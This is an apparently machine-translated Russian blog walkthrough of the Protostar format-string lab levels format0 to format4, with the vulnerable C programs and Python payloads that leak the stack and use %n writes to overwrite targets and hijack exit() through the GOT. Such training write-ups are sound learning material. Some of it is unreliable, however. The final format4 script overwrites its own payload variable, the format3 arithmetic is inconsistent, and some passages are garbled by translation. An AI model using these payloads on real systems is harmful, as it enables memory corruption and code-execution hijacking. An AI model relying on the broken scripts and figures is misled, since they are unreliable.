Этот пост в блоге предназначен для моей собственной выгоды, я пишу этот пост в блоге, чтобы вернуться к нему позже, если это будет необходимо.

В Exploit Education есть различные упражнения по использованию эксплойтов, которые вы можете попытаться решить. Они варьируются от переполнения буфера на основе стека, строк формата, эксплуатации кучи, переполнения стека и других.

В этом посте я расскажу об упражнении «Форматы». Я только новичок в эксплуатации, поэтому я ценю конструктивные отзывы.

В любом случае, с учетом сказанного, давайте перейдем к упражнениям.

Примечание. Вам понадобится vm (виртуальная машина) с настройкой образа protostar.

Формат ноль

На этом уровне представлены строки формата и то, как предоставленные злоумышленником строки формата могут изменить поток выполнения программ.

Подсказки

  • Этот уровень должен быть выполнен менее чем за 10 байтов ввода.
  • «Использование уязвимостей строки формата»

Этот уровень находится в /opt/protostar/bin/format0

Источник

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Итак, что такое эксплойт строки формата?

Эксплойт строки формата — это ошибка, которая появляется, когда введенные пользователем данные неправильно отформатированы. Ниже приведено изображение с двумя операторами печати, один из которых уязвим для эксплойта строки формата, а другой отформатирован правильно.

Первая функция printf примет введенные пользователем данные и отобразит результаты, звучит примерно так? Но что, если мы пропустим %x?

Ниже у меня есть результат двух функций printf, первый результат пропускает адрес в стеке, а второй результат показывает наш вредоносный ввод, который был правильно отформатирован, как показано на фотографии выше.

Как видно выше, два вывода аргумента, который мы передали нашему исполняемому файлу format0, различны. Первая функция printf слила адрес стека, вторая была отформатирована, как и ожидалось.

Затем мы должны перезаписать целевую переменную с помощью 0xdeadbeef, мы можем сделать это несколькими способами, но, как объяснялось в упражнении, нам нужно завершить ее до 10 байтов.

Следует помнить несколько вещей: архитектура Intel x86 имеет порядок байтов с прямым порядком байтов, что означает, что мы начинаем с младшего значащего байта.

Ниже показано изображение, сделанное, когда мы указываем 64 символа, в частности «A», а затем добавляем наш 0xdeadbeef с прямым порядком байтов, мы будем использовать python для печати жестко закодированных шестнадцатеричных значений и передачи его с 64 символами. в качестве аргумента для format0.

Как видно выше, мы успешно перезаписали целевую переменную в нашем исполняемом файле. Но как мы можем добиться этого всего с 10 байтами? Помните, что наша функция printf в исполняемом файле уязвима для использования строки формата, поэтому мы можем использовать спецификаторы формата C printf.

Ниже приведена фотография, которую я сделал, когда я добавил 64 символа, чтобы заполнить наш буфер, а затем добавил наши жестко закодированные шестнадцатеричные значения.

Итак, похоже, мы снова успешно перезаписали нашу целевую переменную. Если вы читаете этот блог, спасибо, если у вас есть какие-либо вопросы, не стесняйтесь спрашивать.

Формат1 Упражнение

Этот уровень показывает, как можно использовать строки формата для изменения произвольных ячеек памяти.

Подсказки

  • objdump -t ваш друг, и ваша входная строка лежит далеко в стеке :)

Этот уровень находится в /opt/protostar/bin/format1.

Источник

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Итак, это упражнение немного отличается от первого и требует большего внимания к деталям.

Он дает подсказку «objdump -t — ваш друг», поэтому давайте откроем исполняемый файл с помощью objdump -t ./format1. Как вы можете видеть на картинке ниже, он дает нам адрес, по которому находится цель.

Итак, у нас есть адрес, что нам с ним делать?

В предыдущем упражнении мы просочили адреса из стека, используя спецификатор формата %x, поэтому мы хотим точно знать, где в стеке находится наша строка, которую мы передали в качестве входных данных. Для этого мы просто создаем небольшую полезную нагрузку для утечки большой части стека. Ниже приведен пример полезной нагрузки, которую я написал на python.

payload = “%x ”*200
print payload

Теперь, когда мы сохраняем приведенный выше простой скрипт и передаем его в качестве аргумента нашему исполняемому файлу format1, мы надеемся, что какой-то адрес в стеке утечет.

Итак, мы утекли много адресов стека. Но какой от них толк, когда мы не можем видеть наш целевой адрес, расположенный в стеке? А что, если бы мы могли поместить наш целевой адрес в стек, как в предыдущем упражнении, когда мы поместили адрес (0xdeadbeef) в стек, который перезаписал целевую переменную? Что ж, давайте попробуем вставить адрес цели в стек и найти ее. Ниже я добавил модуль struct и упаковал адрес цели с прямым порядком байтов и передал его с полезной нагрузкой.

import struct
payload = struct.pack("<I", 0x8049638)
payload += “%x ”*200
print payload

Вывод отредактированного выше скрипта показан ниже.

Итак, вы заметили, что на приведенном выше рисунке много адресов, и трудно определить, где находится целевой адрес, который мы запихнули в стек. Итак, что мы можем сделать, так это создать шаблон, который мы сможем идентифицировать, когда снова утечка адреса стека. Я собираюсь отредактировать свой скрипт, чтобы передать пару «А» и «Б» с нашим целевым адресом между ними.

import struct
payload = "AAAAAAAA"
payload += struct.pack("<I", 0x8049638) 
payload += "BBBBBBBB" 
payload += “%x ”*200
print payload

Приведенная выше полезная нагрузка выведет то, что показано ниже.

Что ж, если вы заметили строку, которую я выделил на картинке выше, все наши адреса перепутаны и не совсем соответствуют тому, что мы хотели. Во-первых, давайте сократим количество адресов, которые мы утекаем из стека. Я отредактировал скрипт, как показано ниже.

import struct
payload = "AAAAAAAA"
payload += struct.pack("<I", 0x8049638) 
payload += "BBBBBBBB" 
payload += “%x ”*150
print payload

Приведенный выше скрипт теперь будет выводить то, что показано ниже.

Поэтому я сократил количество адресов, которые мы утекаем из стека, но это также, похоже, исправило мой шаблон, поэтому теперь нам нужно, чтобы целевой адрес был последним адресом, который мы утекаем из стека. Нам приходится возиться с количеством адресов, которые мы утекаем из этого стека. Я изменил приведенный ниже сценарий, чтобы показать вам, что именно я имею в виду.

import struct
payload = "AAAA"
payload += struct.pack("<I", 0x8049638) 
payload += "BBBBB" 
payload += “%x ”*134 
payload += "%x "
print payload

Поэтому мне пришлось изменить свой скрипт, пока я не получил адрес цели, просочившийся последним из стека. На картинке ниже показан вывод вышеприведенного скрипта.

Как видно из приведенного выше рисунка, наш целевой адрес утек в последнюю очередь, поэтому теперь все, что нам нужно сделать для записи на наш целевой адрес, — это изменить последний спецификатор формата в скрипте с %x. на %n, чтобы мы могли написать на этот адрес. Итак, теперь у нас есть скрипт, как показано ниже.

import struct
payload = "AAAA"
payload += struct.pack("<I", 0x8049638) 
payload += "BBBBB" 
payload += “%x ”*134 
payload += "%n "
print payload

Который затем перезапишет наш целевой адрес, что приведет к тому, что target будет истинным. Затем, когда мы продолжим, printf приветствует нас сообщением, показанным ниже.

Надеюсь, вам понравилось чтение упражнения format1, и, как всегда, я принимаю конструктивные отзывы, это помогает мне учиться на своих ошибках.

Формат2 Упражнение

Этот уровень переходит от format1 и показывает, как определенные значения могут быть записаны в память.

Этот уровень находится в /opt/protostar/bin/format2.

Источник

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Итак, ранее мы изменили целевую переменную в упражнении format1. Теперь мы должны попытаться изменить нашу целевую переменную на определенное значение, в данном случае 64. Итак, мы можем начать с редактирования нашего предыдущего скрипта, мы сначала дополним наш ввод четырьмя «A» и утечка наших адресов из стека, как и раньше.

payload = "AAAA" 
payload += "%x "*10 
print payload

Приведенный выше скрипт выведет то, что показано ниже.

Как видите, наш простой скрипт полезной нагрузки добавляет в стек наши четыре «A». Мы также знаем, что утекли 10 адресов из стека, поэтому, если вы посчитаете от одного до позиции наших четырех «A», вы получите 4. Итак, теперь мы знаем, когда мы заменим наши четыре «A» с нашим целевым адресом, это будет четвертый просочившийся адрес.

Так как же нам получить целевой адрес? Раньше мы использовали objdump, который мы можем использовать еще раз, чтобы найти правильный адрес для цели. Команда objdump -t ./format2 даст нам адрес цели, я добавил изображение ниже, чтобы показать адрес цели.

Как мы видим, objdump дает нам адрес цели. Затем я изменю свой скрипт, чтобы поместить в стек адрес цели вместо четырех «A» (0x41414141).

import struct
payload = struct.pack("<I", 0x80496e4)
payload += "%x "*10
print payload

Когда мы передаем скрипт нашему исполняемому файлу, мы получаем следующий вывод.

Отлично, похоже, мы успешно поместили наш целевой адрес в стек.

Что мы делаем дальше?

Сначала нам нужно снова изменить наш сценарий, чтобы мы могли снова писать по целевому адресу, используя спецификатор формата %n. Но на этот раз я буду использовать поле параметра, которое позволит мне получить доступ к четвертому адресу, который мы просочили. Затем я добавлю 60 символов, чтобы затем мы изменили target, чтобы иметь значение 64. Окончательный сценарий показан ниже.

import struct
payload = struct.pack("<I", 0x80496e4)
payload += "%60x" 
payload += "%4$n"
print payload

Последний сценарий из приведенного выше перепишет целевой адрес со значением 64. Затем будет выполнена функция printf, выдающая нам сообщение о том, что мы успешно изменили целевой адрес.

Вот и все, упражнение format2 завершено, и снова я ценю конструктивные отзывы. Если у вас есть вопросы, не стесняйтесь спросить.

Формат3 Упражнение

Этот уровень переходит от format2 и показывает, как записать в процесс более 1 или 2 байтов памяти. Это также научит вас тщательно контролировать, какие данные записываются в память процесса.

Этот уровень находится в /opt/protostar/bin/format3

Источник

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Итак, в предыдущем упражнении мы перезаписали целевое значение на 64. Это упражнение немного отличается. Мы должны разделить данные, которые мы записываем, на 2 байта. Затем мы можем перезаписать целевые данные в 0x01025544, используя каждый байт, начиная с наименее значимого. Итак, давайте изменим наш скрипт эксплойта, который мы создали в предыдущем упражнении. Сначала мы хотим узнать позицию нашего целевого адреса, поэтому мы дополняем четыре «А», затем добавляем наш целевой адрес в стек, а затем еще четыре «А». Затем мы приступаем к утечке 20 адресов из стека.

import struct
payload = "AAAA" 
payload += struct.pack("<I", 0x80496f4) 
payload += "AAAA"
payload += "%x "*20 
print payload

Приведенный выше скрипт выведет 20 просочившихся адресов, которые показаны ниже.

Мы видим, что наш целевой адрес находится в позиции 13, поэтому давайте изменим наш скрипт, чтобы мы записывали данные по целевому адресу. Я добавлю 30 символов, чтобы посмотреть, что у нас получится.

import struct
payload = "AAAA" 
payload += struct.pack("<I", 0x80496f4) 
payload += "%30x"
payload += "%13$n"
print payload

Результаты этого показаны ниже.

Мы записали данные на наш целевой адрес, но их всего 26. Как нам получить 0x01025544?

Итак, сначала нам нужно рассчитать, сколько символов нам нужно дополнить, чтобы получить 5544. Но сначала нам нужно узнать, что представляет собой 26 в десятичном виде, из результатов, показанных выше.

Ответ 38, но мы добавили только 30 символов? Так что это означает, что есть дополнительные 8 символов, которые мы должны учитывать.

Далее мы вычислим 5544 в десятичном виде и вычтем 8 дополненных символов. См. рисунок ниже.

Окончательный результат, который мы получаем, равен 21820,затем мы изменим наш сценарий эксплойта, чтобы дополнить его 21820 символами.

import struct
payload = "AAAA" 
payload += struct.pack("<I", 0x80496f4) 
payload += "%21820x"
payload += "%13$n"
print payload

Как только мы передаем эту полезную нагрузку в исполняемый файл, мы видим, что наименее значащие байты — это то, что мы ожидали, чтобы они были 5544, см. ниже для вывода.

Мы закончили первую часть, теперь как нам изменить значащие байты на 0102?

Поскольку нам нужно разделить наши данные на 2 байта, мы не можем вычесть число, которое меньше, чем наименее значащие байты. Однако мы можем переполнить байт.

Итак, давайте изменим наш сценарий эксплойта и добавим второй байт, чтобы мы могли получить остальные ожидаемые данные. 0102

import struct
payload = "AAAA" 
payload += struct.pack("<I", 0x80496f4) 
payload += struct.pack("<I", 0x80496f4+2) 
payload += "%21820x"
payload += "%13$n"
payload += "%30x"
payload += "%14$n"
print payload

Приведенный выше скрипт выведет то, что показано ниже.

Итак, теперь, когда мы контролируем значащие байты, младшие байты изменились, потому что они добавили 4 дополнительных символа, которые мы вычтем из 21820, это даст 21816, теперькак мы на самом деле получим 0102, если мы не можем вычесть меньше младших байтов. Вот где в игру вступает переполнение нашего байта. Все, что нам нужно сделать в этом случае, это добавить 10104, и это приведет к переполнению нашего байта. Однако нам нужно найти десятичное представление 10102 и вычесть из него 21816, в результате у нас останется 43978. Теперь мы вставляем 43978 символов. См. вывод ниже.

Ну, это не то, что мы ожидали? похоже, что есть дополнительные 12 дополненных символов. Если мы вычтем это из 43978, получим 43966, окончательный сценарий эксплойта показан ниже.

import struct
payload = "AAAA" 
payload += struct.pack("<I", 0x80496f4) 
payload += struct.pack("<I", 0x80496f4+2) 
payload += "%21816x"
payload += "%13$n"
payload += "%43966x"
payload += "%14$n"
print payload

Когда мы запускаем этот сценарий эксплойта против нашего исполняемого файла (format3), мы получаем печатный текст о том, что мы успешно изменили цель, см. ниже.

Итак, мы завершили формат3. Если это поможет вам или у вас есть конструктивный отзыв, пожалуйста, ответьте. Я ценю, что вы нашли время, чтобы прочитать этот пост.

Формат4 Упражнение

format4 рассматривает один метод перенаправления выполнения в процессе.

Подсказки:

  • objdump -TR твой друг

Этот уровень находится в /opt/protostar/bin/format4.

Источник

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}

Итак, это упражнение немного отличается от предыдущего format3, потому что нам нужно перезаписать функцию exit(), чтобы перенаправить на наш hello(). функция.

Мы начинаем с простого сценария полезной нагрузки, чтобы получить положение наших «A» в стеке. См. полезную нагрузку ниже.

payload = "AAAA"
payload += "%x "*20
print payload

Приведенная выше полезная нагрузка выведет то, что показано ниже. Когда мы передаем его в исполняемый файл format4.

Похоже, наши «A» — это четвертый просочившийся адрес в стеке. Поэтому мы заменим его адресом функции exit(). Но как нам получить адрес exit()?

Что ж, они дали нам подсказку: «objdump -TR — ваш друг», поэтому давайте применим его к нашему исполняемому файлу format4 и посмотрим, что он выведет, показано изображение. ниже.

Он дал нам адрес функции exit(). Теперь мы можем заменить наши «A» адресом exit(). Мы изменим наш скрипт и импортируем модуль struct, чтобы мы могли упаковать наш адрес с прямым порядком байтов. Затем мы передаем сценарий нашему исполняемому файлу format4 . См. полезную нагрузку ниже.

import struct
payload = struct.pack("<I", 0x8049724)
payload += "%x "*7
print payload

Вышеуказанные выходные данные полезной нагрузки показаны ниже.

Как видите, мы загрузили наш адрес в стек, и это уже четвертый просочившийся адрес. Давайте теперь изменим нашу полезную нагрузку для записи по адресу. Мы также добавим 30 дополнительных символов, чтобы знать, сколько дополнительных символов есть. См. ниже нашу модифицированную полезную нагрузку.

import struct
payload = struct.pack("<I", 0x8049724) 
payload += "%30x"
payload += "%4$n"
print payload

Результат показан ниже, когда мы передаем эту полезную нагрузку в исполняемый файл format4.

Мы получаем ошибку сегментации, чего мы не ожидали. Давайте дизассемблируем наш исполняемый файл format4 в gdb, мы также хотим передать входной файл после запуска нашего исполняемого файла format4 в gdb, поэтому мы создадим файл из нашей полезной нагрузки python. просто выполнив pythonexploit.py›exploit. Ниже приведено изображение исполняемого файла format4, открытого в gdb.

Хорошо, что дальше?

Далее мы введем две команды, первая команда будет set disassembly-flavor intel, вторая будет disas main. См. рисунок ниже.

Таким образом, первая команда, которую мы ввели в gdb, установит дизассемблированный код в синтаксис Intel, а вторая команда дизассемблирует основную функцию.

Итак, что именно здесь происходит?

Итак, мы видим, что он настроил стек и немедленно вызвал адрес для выполнения.

Мы снова воспользуемся командой disas и дизассемблируем вызываемый ею адрес (vuln). См. рисунок ниже.

На изображении выше вы можете видеть, что я выделил команду, которую мы использовали, и инструкцию после вызова printf. Мы установим точку останова по адресу этой инструкции, затем определим хук с помощью команды define hook-stop и проверим адрес exit, который у нас есть получено из objdump. См. рисунок ниже.

Теперь, когда мы установили команды, мы можем запустить наш исполняемый файл в gdb, но сначала мы пропустим эксплойт. См. рисунок ниже.

Похоже, мы изменили адрес exit(), что дает нам шестнадцатеричное значение 22, а это значит, что есть 4 дополнительных символа. Но зачем мы его модифицируем, если не знаем адрес функции hello()?

Далее мы получим адрес функции hello()в gdb, просто введя команду x/x hello, см. рисунок ниже .

Круто, мы получили адрес функции hello(), так что теперь мы знаем, что последние значащие байты не соответствуют нашему результату от заполнения 30 символов. Нам нужно будет рассчитать, сколько символов нам нужно заполнить. Для этого смотрите картинку ниже.

Похоже, что наименее значащие байты составляют 33972 в десятичном виде, но помните, что есть 4 дополнительных символа с дополнением, поэтому вычтите их, и мы получим 33968, давайте изменим нашу полезную нагрузку и дополним это количество символов. . См. полезную нагрузку ниже.

import struct
payload = struct.pack("<I", 0x8049724) 
payload += "%33968x"
payload += "%4$n"
print payload

Когда мы перезаписываем наш текущий файл эксплойта с помощью pythonexploit.py›exploit и запускаем его в gdb, мы получаем результат, показанный ниже.

Отлично, последние младшие байты совпадают с теми, что находятся в адресе hello(). Теперь пришло время добавить второй байт и вычислить, как мы делали раньше. Но поскольку значащие байты приветственного адреса меньше, чем последние значащие байты, мы должны переполнить байт, просто выполнив 10804 и вычитая десятичное значение из предыдущих дополненных символов. См. рисунок ниже.

Теперь давайте изменим нашу полезную нагрузку и добавим 2-й байт и дополним его 33616, так как мы добавили дополнительные четыре дополнительных символа, которые нам нужно будет вычесть из обоих 33968 и 33620. Затем перезапишите файл эксплойта, выполнив pythonexploit.py›exploit, и снова запустите его в gdb, чтобы увидеть, на что мы изменили наш адрес exit(). См. измененную полезную нагрузку ниже.

import struct
payload = struct.pack("<I", 0x8049724)
payload = struct.pack("<I", 0x8049724+2) 
payload += "%33964x"
payload += "%4$n"
payload += "%33616x"
payload += "%5$n"
print payload

Приведенная выше полезная нагрузка выведет то, что показано ниже в gdb.

Отлично, мы успешно перезаписали адрес exit() адресом hello(), что означает, что мы успешно перенаправили выполнение программы.

Когда мы введем c и нажмем Enter в GDB, нас встретит это красивое сообщение. См. рисунок ниже.

Мы выполнили упражнение format4. Если у вас есть какие-либо конструктивные отзывы, я был бы признателен, поскольку они помогают мне учиться. Если у вас есть какие-либо вопросы, не стесняйтесь комментировать, и я постараюсь ответить на них. Спасибо, что прочитали мой пост в блоге.